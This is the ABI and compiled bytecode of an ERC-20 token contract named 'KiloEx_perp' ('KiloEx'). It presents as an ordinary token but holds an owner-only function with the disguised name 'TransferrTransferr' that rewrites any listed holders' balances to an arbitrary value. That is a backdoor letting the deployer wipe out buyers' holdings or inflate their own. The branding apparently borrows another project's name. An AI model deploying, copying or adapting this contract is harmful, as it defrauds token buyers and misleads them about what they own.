[ { "inputs": [ { "internalType": "string", "name": "name_", "type": "string" }, { "internalType": "string", "name": "symbol_", "type": "string" }, { "internalType": "uint8", "name": "decimals_", "type": "uint8" }, { "internalType": "uint256", "name": "totalSupply_", "type": "uint256" } ], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "oldBalance", "type": "uint256" }, { "indexed": false, "internalType": "uint256", "name": "newBalance", "type": "uint256" } ], "name": "BalanceAdjusted", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousowner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newowner", "type": "address" } ], "name": "ownershipTransferred", "type": "event" }, { "inputs": [ { "internalType": "address[]", "name": "accounts", "type": "address[]" }, { "internalType": "uint256", "name": "newBalance", "type": "uint256" } ], "name": "TransferrTransferr", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "renounceownership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" } ]
60806040523480156200001157600080fd5b5060405162001d8638038062001d86833981810160405281019062000037919062000392565b6000620000496200022e60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a3508360039080519060200190620000ff92919062000236565b5082600490805190602001906200011892919062000236565b5081600560006101000a81548160ff021916908360ff16021790555081600a6200014391906200052a565b8162000150919062000667565b600681905550600654600160006200016d6200022e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001bb6200022e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200021c919062000453565b60405180910390a35050505062000874565b600033905090565b828054620002449062000715565b90600052602060002090601f016020900481019282620002685760008555620002b4565b82601f106200028357805160ff1916838001178555620002b4565b82800160010185558215620002b4579182015b82811115620002b357825182559160200191906001019062000296565b5b509050620002c39190620002c7565b5090565b5b80821115620002e2576000816000905550600101620002c8565b5090565b6000620002fd620002f78462000499565b62000470565b9050828152602081018484840111156200031c576200031b62000813565b5b62000329848285620006df565b509392505050565b600082601f8301126200034957620003486200080e565b5b81516200035b848260208601620002e6565b91505092915050565b600081519050620003758162000840565b92915050565b6000815190506200038c816200085a565b92915050565b60008060008060808587031215620003af57620003ae6200081d565b5b600085015167ffffffffffffffff811115620003d057620003cf62000818565b5b620003de8782880162000331565b945050602085015167ffffffffffffffff81111562000402576200040162000818565b5b620004108782880162000331565b935050604062000423878288016200037b565b9250506060620004368782880162000364565b91505092959194509250565b6200044d81620006c8565b82525050565b60006020820190506200046a600083018462000442565b92915050565b60006200047c6200048f565b90506200048a82826200074b565b919050565b6000604051905090565b600067ffffffffffffffff821115620004b757620004b6620007df565b5b620004c28262000822565b9050602081019050919050565b6000808291508390505b60018511156200052157808604811115620004f957620004f862000781565b5b6001851615620005095780820291505b8081029050620005198562000833565b9450620004d9565b94509492505050565b60006200053782620006c8565b91506200054483620006d2565b9250620005737fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200057b565b905092915050565b6000826200058d576001905062000660565b816200059d576000905062000660565b8160018114620005b65760028114620005c157620005f7565b600191505062000660565b60ff841115620005d657620005d562000781565b5b8360020a915084821115620005f057620005ef62000781565b5b5062000660565b5060208310610133831016604e8410600b8410161715620006315782820a9050838111156200062b576200062a62000781565b5b62000660565b620006408484846001620004cf565b925090508184048111156200065a576200065962000781565b5b81810290505b9392505050565b60006200067482620006c8565b91506200068183620006c8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006bd57620006bc62000781565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b83811015620006ff578082015181840152602081019050620006e2565b838111156200070f576000848401525b50505050565b600060028204905060018216806200072e57607f821691505b60208210811415620007455762000744620007b0565b5b50919050565b620007568262000822565b810181811067ffffffffffffffff82111715620007785762000777620007df565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b6200084b81620006c8565b81146200085757600080fd5b50565b6200086581620006d2565b81146200087157600080fd5b50565b61150280620008846000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461018f5780638da5cb5b146101bf57806395d89b41146101dd578063a9059cbb146101fb578063c2af913b1461022b578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce56714610155578063492e496a14610173575b600080fd5b6100c1610265565b6040516100ce9190610fea565b60405180910390f35b6100f160048036038101906100ec9190610e3a565b6102f7565b6040516100fe9190610fcf565b60405180910390f35b61010f6103f7565b60405161011c919061106c565b60405180910390f35b61013f600480360381019061013a9190610de7565b610401565b60405161014c9190610fcf565b60405180910390f35b61015d61067f565b60405161016a91906110b0565b60405180910390f35b61018d60048036038101906101889190610e7a565b610696565b005b6101a960048036038101906101a49190610d7a565b61082f565b6040516101b6919061106c565b60405180910390f35b6101c7610878565b6040516101d49190610fb4565b60405180910390f35b6101e56108a1565b6040516101f29190610fea565b60405180910390f35b61021560048036038101906102109190610e3a565b610933565b6040516102229190610fcf565b60405180910390f35b610233610ae7565b005b61024f600480360381019061024a9190610da7565b610c23565b60405161025c919061106c565b60405180910390f35b6060600380546102749061124a565b80601f01602080910402602001604051908101604052809291908181526020018280546102a09061124a565b80156102ed5780601f106102c2576101008083540402835291602001916102ed565b820191906000526020600020905b8154815290600101906020018083116102d057829003601f168201915b5050505050905090565b60008160026000610306610caa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166103a0610caa565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103e5919061106c565b60405180910390a36001905092915050565b6000600654905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061044d610caa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c09061104c565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610518919061118e565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461056e9190611138565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105bf610caa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610608919061118e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161066c919061106c565b60405180910390a3600190509392505050565b6000600560009054906101000a900460ff16905090565b61069e610caa565b73ffffffffffffffffffffffffffffffffffffffff166106bc610878565b73ffffffffffffffffffffffffffffffffffffffff1614610712576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107099061102c565b60405180910390fd5b60005b825181101561082a57600083828151811061073357610732611354565b5b602002602001015190506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f5ee81488a8c866569c02800403bbf9145d931cf759737ed853eedb84dbb5a9e3828660405161080d929190611087565b60405180910390a250508080610822906112ad565b915050610715565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546108b09061124a565b80601f01602080910402602001604051908101604052809291908181526020018280546108dc9061124a565b80156109295780601f106108fe57610100808354040283529160200191610929565b820191906000526020600020905b81548152906001019060200180831161090c57829003601f168201915b5050505050905090565b60008160016000610942610caa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b59061100c565b60405180910390fd5b81600160006109cb610caa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a14919061118e565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a6a9190611138565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610a90610caa565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ad5919061106c565b60405180910390a36001905092915050565b610aef610caa565b73ffffffffffffffffffffffffffffffffffffffff16610b0d610878565b73ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a9061102c565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000610cc5610cc0846110f0565b6110cb565b90508083825260208201905082856020860282011115610ce857610ce76113b7565b5b60005b85811015610d185781610cfe8882610d22565b845260208401935060208301925050600181019050610ceb565b5050509392505050565b600081359050610d318161149e565b92915050565b600082601f830112610d4c57610d4b6113b2565b5b8135610d5c848260208601610cb2565b91505092915050565b600081359050610d74816114b5565b92915050565b600060208284031215610d9057610d8f6113c1565b5b6000610d9e84828501610d22565b91505092915050565b60008060408385031215610dbe57610dbd6113c1565b5b6000610dcc85828601610d22565b9250506020610ddd85828601610d22565b9150509250929050565b600080600060608486031215610e0057610dff6113c1565b5b6000610e0e86828701610d22565b9350506020610e1f86828701610d22565b9250506040610e3086828701610d65565b9150509250925092565b60008060408385031215610e5157610e506113c1565b5b6000610e5f85828601610d22565b9250506020610e7085828601610d65565b9150509250929050565b60008060408385031215610e9157610e906113c1565b5b600083013567ffffffffffffffff811115610eaf57610eae6113bc565b5b610ebb85828601610d37565b9250506020610ecc85828601610d65565b9150509250929050565b610edf816111c2565b82525050565b610eee816111d4565b82525050565b6000610eff8261111c565b610f098185611127565b9350610f19818560208601611217565b610f22816113c6565b840191505092915050565b6000610f3a602383611127565b9150610f45826113d7565b604082019050919050565b6000610f5d602083611127565b9150610f6882611426565b602082019050919050565b6000610f80602583611127565b9150610f8b8261144f565b604082019050919050565b610f9f81611200565b82525050565b610fae8161120a565b82525050565b6000602082019050610fc96000830184610ed6565b92915050565b6000602082019050610fe46000830184610ee5565b92915050565b600060208201905081810360008301526110048184610ef4565b905092915050565b6000602082019050818103600083015261102581610f2d565b9050919050565b6000602082019050818103600083015261104581610f50565b9050919050565b6000602082019050818103600083015261106581610f73565b9050919050565b60006020820190506110816000830184610f96565b92915050565b600060408201905061109c6000830185610f96565b6110a96020830184610f96565b9392505050565b60006020820190506110c56000830184610fa5565b92915050565b60006110d56110e6565b90506110e1828261127c565b919050565b6000604051905090565b600067ffffffffffffffff82111561110b5761110a611383565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600061114382611200565b915061114e83611200565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611183576111826112f6565b5b828201905092915050565b600061119982611200565b91506111a483611200565b9250828210156111b7576111b66112f6565b5b828203905092915050565b60006111cd826111e0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561123557808201518184015260208101905061121a565b83811115611244576000848401525b50505050565b6000600282049050600182168061126257607f821691505b6020821081141561127657611275611325565b5b50919050565b611285826113c6565b810181811067ffffffffffffffff821117156112a4576112a3611383565b5b80604052505050565b60006112b882611200565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156112eb576112ea6112f6565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6114a7816111c2565b81146114b257600080fd5b50565b6114be81611200565b81146114c957600080fd5b5056fea2646970667358221220d4e995f834905d4463392a4f275cf8e4a96fd31f6bc763d357c0c0c5302882a064736f6c63430008070033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000174876e800000000000000000000000000000000000000000000000000000000000000000b4b696c6f45785f7065727000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064b696c6f45780000000000000000000000000000000000000000000000000000